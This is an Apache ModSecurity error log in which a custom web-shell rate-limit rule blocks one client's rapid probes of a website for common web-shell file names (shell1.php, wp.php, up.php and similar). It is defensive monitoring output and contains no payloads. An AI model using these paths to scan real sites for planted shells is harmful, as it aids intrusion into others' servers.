[Sun Dec 28 21:08:18.574053 2025] [:error] [pid 42292:tid 42307] [client 4.218.19.19:1651] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aVErwpyOrM_vaFx1osZa6gAAAAs"]
[Sun Dec 28 21:08:24.011744 2025] [:error] [pid 29388:tid 29412] [client 4.218.19.19:14975] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aVEryNoLv2L2zI_SpdXyWwAAAVA"]
[Sun Dec 28 21:08:30.999157 2025] [:error] [pid 42378:tid 42392] [client 4.218.19.19:18987] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aVErzjgtcN-KHAjWrX8rLgAAAMw"]
[Sun Dec 28 21:08:33.176901 2025] [:error] [pid 29436:tid 29459] [client 4.218.19.19:35898] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aVEr0bchzOOtNL9VPNIM2gAAAZQ"]
[Sun Dec 28 21:08:45.721220 2025] [:error] [pid 42293:tid 42329] [client 4.218.19.19:22866] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/m.php"] [unique_id "aVEr3cvc9B-5cwN385L9WgAAAEY"]
[Sun Dec 28 21:08:49.281883 2025] [:error] [pid 42294:tid 42357] [client 4.218.19.19:35590] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/m.php"] [unique_id "aVEr4dTE5kYcYCOzl9HOSAAAAIc"]
[Sun Dec 28 21:08:51.610510 2025] [:error] [pid 42378:tid 42401] [client 4.218.19.19:18500] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/m.php"] [unique_id "aVEr4zgtcN-KHAjWrX8riwAAANU"]
[Sun Dec 28 21:08:56.338445 2025] [:error] [pid 29388:tid 29414] [client 4.218.19.19:21890] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/m.php"] [unique_id "aVEr6NoLv2L2zI_SpdXy2wAAAVI"]
[Sun Dec 28 21:08:58.512940 2025] [:error] [pid 29436:tid 29460] [client 4.218.19.19:35626] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aVEr6rchzOOtNL9VPNIM-gAAAZU"]
[Sun Dec 28 21:09:00.103781 2025] [:error] [pid 43789:tid 43794] [client 4.218.19.19:14750] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aVEr7Aa-tUppni4CcCZGeAAAAQM"]
[Sun Dec 28 21:09:01.473463 2025] [:error] [pid 42292:tid 42301] [client 4.218.19.19:22718] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aVEr7ZyOrM_vaFx1osZbCwAAAAU"]
[Sun Dec 28 21:09:04.303515 2025] [:error] [pid 42293:tid 42335] [client 4.218.19.19:17964] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aVEr8Mvc9B-5cwN385L9cgAAAEw"]
[Sun Dec 28 21:09:06.447209 2025] [:error] [pid 42294:tid 42372] [client 4.218.19.19:35606] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEr8tTE5kYcYCOzl9HOXAAAAJY"]
[Sun Dec 28 21:09:12.587066 2025] [:error] [pid 42292:tid 42297] [client 4.218.19.19:27388] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEr-JyOrM_vaFx1osZbDQAAAAE"]
[Sun Dec 28 21:09:17.258429 2025] [:error] [pid 43789:tid 43795] [client 4.218.19.19:16670] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEr_Qa-tUppni4CcCZGgAAAAQQ"]
[Sun Dec 28 21:09:19.048616 2025] [:error] [pid 42292:tid 42313] [client 4.218.19.19:1101] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aVEr_5yOrM_vaFx1osZbEwAAABE"]
[Sun Dec 28 21:09:22.113632 2025] [:error] [pid 42294:tid 42369] [client 4.218.19.19:1593] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEsAtTE5kYcYCOzl9HOZgAAAJM"]
[Sun Dec 28 21:09:23.197614 2025] [:error] [pid 42293:tid 42335] [client 4.218.19.19:16696] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEsA8vc9B-5cwN385L9iAAAAEw"]
[Sun Dec 28 21:09:24.402067 2025] [:error] [pid 42292:tid 42302] [client 4.218.19.19:20229] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEsBJyOrM_vaFx1osZbFgAAAAY"]
[Sun Dec 28 21:09:28.293193 2025] [:error] [pid 42292:tid 42316] [client 4.218.19.19:35720] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aVEsCJyOrM_vaFx1osZbGQAAABQ"]
[Sun Dec 28 21:09:30.105203 2025] [:error] [pid 42378:tid 42391] [client 4.218.19.19:35327] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aVEsCjgtcN-KHAjWrX8rpQAAAMs"]
[Sun Dec 28 21:09:32.247349 2025] [:error] [pid 42378:tid 42383] [client 4.218.19.19:12304] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aVEsDDgtcN-KHAjWrX8rqQAAAMM"]
[Sun Dec 28 21:09:33.365906 2025] [:error] [pid 29436:tid 29443] [client 4.218.19.19:18303] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aVEsDbchzOOtNL9VPNINEQAAAYQ"]
[Sun Dec 28 21:09:35.971904 2025] [:error] [pid 29388:tid 29420] [client 4.218.19.19:20010] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aVEsD9oLv2L2zI_SpdXzAQAAAVg"]
[Sun Dec 28 21:09:38.418210 2025] [:error] [pid 29436:tid 29457] [client 4.218.19.19:17768] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVEsErchzOOtNL9VPNINEwAAAZI"]
[Sun Dec 28 21:09:39.770594 2025] [:error] [pid 42294:tid 42372] [client 4.218.19.19:17762] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVEsE9TE5kYcYCOzl9HOagAAAJY"]
[Sun Dec 28 21:09:41.233236 2025] [:error] [pid 43789:tid 43811] [client 4.218.19.19:12335] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVEsFQa-tUppni4CcCZGrgAAARQ"]
[Sun Dec 28 21:09:57.336627 2025] [:error] [pid 43789:tid 43799] [client 4.218.19.19:21416] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aVEsJQa-tUppni4CcCZG2gAAAQg"]
[Sun Dec 28 21:10:00.142324 2025] [:error] [pid 43789:tid 43815] [client 4.218.19.19:23316] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aVEsKAa-tUppni4CcCZG3wAAARg"]
[Sun Dec 28 21:10:01.318002 2025] [:error] [pid 29436:tid 29450] [client 4.218.19.19:18240] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aVEsKbchzOOtNL9VPNINJAAAAYs"]
[Sun Dec 28 21:10:03.089682 2025] [:error] [pid 42378:tid 42402] [client 4.218.19.19:20026] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aVEsKzgtcN-KHAjWrX8r3AAAANY"]
[Sun Dec 28 21:10:05.323954 2025] [:error] [pid 29437:tid 29486] [client 4.218.19.19:35662] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aVEsLRhDotAbVk6pZLfYKwAAAdQ"]
[Sun Dec 28 21:10:07.468456 2025] [:error] [pid 29436:tid 29441] [client 4.218.19.19:35669] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aVEsL7chzOOtNL9VPNINKAAAAYI"]
[Sun Dec 28 21:10:09.982776 2025] [:error] [pid 29436:tid 29443] [client 4.218.19.19:35172] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aVEsMbchzOOtNL9VPNINKwAAAYQ"]
[Sun Dec 28 21:10:11.513145 2025] [:error] [pid 43789:tid 43799] [client 4.218.19.19:15005] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aVEsMwa-tUppni4CcCZG5wAAAQg"]
[Sun Dec 28 21:10:17.651363 2025] [:error] [pid 43789:tid 43805] [client 4.218.19.19:19513] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aVEsOQa-tUppni4CcCZG8QAAAQ4"]
[Sun Dec 28 21:10:18.454184 2025] [:error] [pid 29437:tid 29489] [client 4.218.19.19:20083] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aVEsOhhDotAbVk6pZLfYMwAAAdc"]
[Sun Dec 28 21:10:19.227415 2025] [:error] [pid 29436:tid 29446] [client 4.218.19.19:27275] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aVEsO7chzOOtNL9VPNINLQAAAYc"]
[Sun Dec 28 21:10:23.467158 2025] [:error] [pid 29388:tid 29407] [client 4.218.19.19:19466] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aVEsP9oLv2L2zI_SpdXzGwAAAUs"]
[Sun Dec 28 21:10:24.762371 2025] [:error] [pid 42294:tid 42373] [client 4.218.19.19:23259] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aVEsQNTE5kYcYCOzl9HOmAAAAJc"]
[Sun Dec 28 21:10:25.954374 2025] [:error] [pid 29388:tid 29397] [client 4.218.19.19:18186] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aVEsQdoLv2L2zI_SpdXzHQAAAUE"]
[Sun Dec 28 21:10:26.775544 2025] [:error] [pid 29436:tid 29442] [client 4.218.19.19:14554] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aVEsQrchzOOtNL9VPNINMgAAAYM"]
[Sun Dec 28 21:10:29.652304 2025] [:error] [pid 29436:tid 29459] [client 4.218.19.19:13708] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aVEsRbchzOOtNL9VPNINNQAAAZQ"]
[Sun Dec 28 21:10:32.078913 2025] [:error] [pid 42293:tid 42331] [client 4.218.19.19:20095] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aVEsSMvc9B-5cwN385L9wgAAAEg"]
[Sun Dec 28 21:10:34.053808 2025] [:error] [pid 29437:tid 29472] [client 4.218.19.19:1409] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aVEsShhDotAbVk6pZLfYPgAAAcY"]
[Sun Dec 28 21:10:38.146421 2025] [:error] [pid 29437:tid 29470] [client 4.218.19.19:35493] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aVEsThhDotAbVk6pZLfYQgAAAcQ"]
[Sun Dec 28 21:10:40.396295 2025] [:error] [pid 42293:tid 42326] [client 4.218.19.19:24391] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aVEsUMvc9B-5cwN385L9yAAAAEM"]
[Sun Dec 28 21:10:41.431227 2025] [:error] [pid 29436:tid 29446] [client 4.218.19.19:18189] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aVEsUbchzOOtNL9VPNINOwAAAYc"]
[Sun Dec 28 21:10:42.195211 2025] [:error] [pid 29437:tid 29489] [client 4.218.19.19:24400] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aVEsUhhDotAbVk6pZLfYRwAAAdc"]
[Sun Dec 28 21:10:42.717286 2025] [:error] [pid 29437:tid 29476] [client 4.218.19.19:13739] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aVEsUhhDotAbVk6pZLfYSAAAAco"]
[Sun Dec 28 21:10:43.915411 2025] [:error] [pid 43789:tid 43796] [client 4.218.19.19:16190] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aVEsUwa-tUppni4CcCZG-gAAAQU"]
[Sun Dec 28 21:10:46.428747 2025] [:error] [pid 42293:tid 42340] [client 4.218.19.19:1954] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aVEsVsvc9B-5cwN385L9ygAAAFE"]
[Sun Dec 28 21:10:47.434353 2025] [:error] [pid 42378:tid 42392] [client 4.218.19.19:16170] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aVEsVzgtcN-KHAjWrX8r8AAAAMw"]
[Sun Dec 28 21:10:48.784401 2025] [:error] [pid 29436:tid 29450] [client 4.218.19.19:13790] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aVEsWLchzOOtNL9VPNINPgAAAYs"]
[Sun Dec 28 21:10:49.915331 2025] [:error] [pid 42293:tid 42324] [client 4.218.19.19:35508] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aVEsWcvc9B-5cwN385L9zQAAAEE"]
